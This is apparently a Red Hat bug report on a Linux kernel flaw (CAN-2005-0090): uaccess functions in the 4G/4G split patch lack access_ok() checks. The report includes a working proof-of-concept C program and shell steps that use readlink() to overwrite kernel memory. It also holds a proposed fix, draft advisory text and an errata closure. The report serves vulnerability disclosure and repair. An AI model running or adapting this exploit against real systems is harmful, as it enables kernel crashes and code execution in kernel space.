This was reported by Kirill Korotaev. bug description ~~~~~~~~~~~~~~~ copy_to_user() and other uaccess functions which do not have __ prefix in thier names should check access_ok() before doing memory access. 4GB split uaccess functions lack of this access check and can be used to access kernel memory at the top of user address space, including writing to this memory (i.e. LDT, GDT, trampoline code etc.). Usual system calls such as sys_read/sys_write are protected with explicit access_ok() checks. sys_ptrace is not vulnerable since access_process_vm() requires existence of vm area. But there are a number of places which lack of this check, e.g. sys_readlink() -> vfs_readlink(). This results in possibility to change kernel code and to run malicious code in kernel space. exploit description ~~~~~~~~~~~~~~~~~~~ This is 100% explitable. ctu exploit is attached. it should be execed with an argument equal to kernel space address which should be overwritten. We run it with argument equal to trampoline address space + system call offset inside the page. i.e. command sequence # ln -s qweqweqweqweeqw ./link # nm /boot/vmlinux-`uname -r` | grep system_call # ./ctu <system call address (0xfffec1a4 in my kernel)> crashes the system fix details ~~~~~~~~~~~ Possible solutions: 1. add access_ok() checks to copy_to_user etc. 2. add pte_user() page check to follow_page() I 2.4 kernels my split uses the following check: follow_page() { .... if (pte_present(pte)) { #ifdef CONFIG_4GB /* * this condition enables us to omit access_ok() checks in * indirect_XXX user access routines. i.e. we check here * (instead of access_ok()) that we try to access user pages. */ if (unlikely(!pte_user(pte))) return ERR_PTR(-EACCES); #endif } I 2.6 kernels I don't have fix patch yet. If someone would make the patch please add me to CC. Kirill #include <stdio.h> #include <errno.h> int main(int argc, char **argv) { int r; unsigned long addr; sscanf(argv[1], "%lx", &addr); r = readlink("./link", addr, 1024); printf("%d %d\n", r, errno); }
I'm proposing the following text for the advisory; plesae help correct this if it is incorrect: "Kirill Korotaev discovered a missing access check regression in the Red Hat Enterprise Linux 4 kernel 4G/4G split patch. A local unprivileged user could use this flaw to cause a denial of service (crash). The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2005-0090 to this issue."
An advisory has been issued which should help the problem described in this bug report. This report is therefore being closed with a resolution of ERRATA. For more information on the solution and/or where to find the updated files, please follow the link below. You may reopen this bug report if the solution does not work for you. http://rhn.redhat.com/errata/RHSA-2005-092.html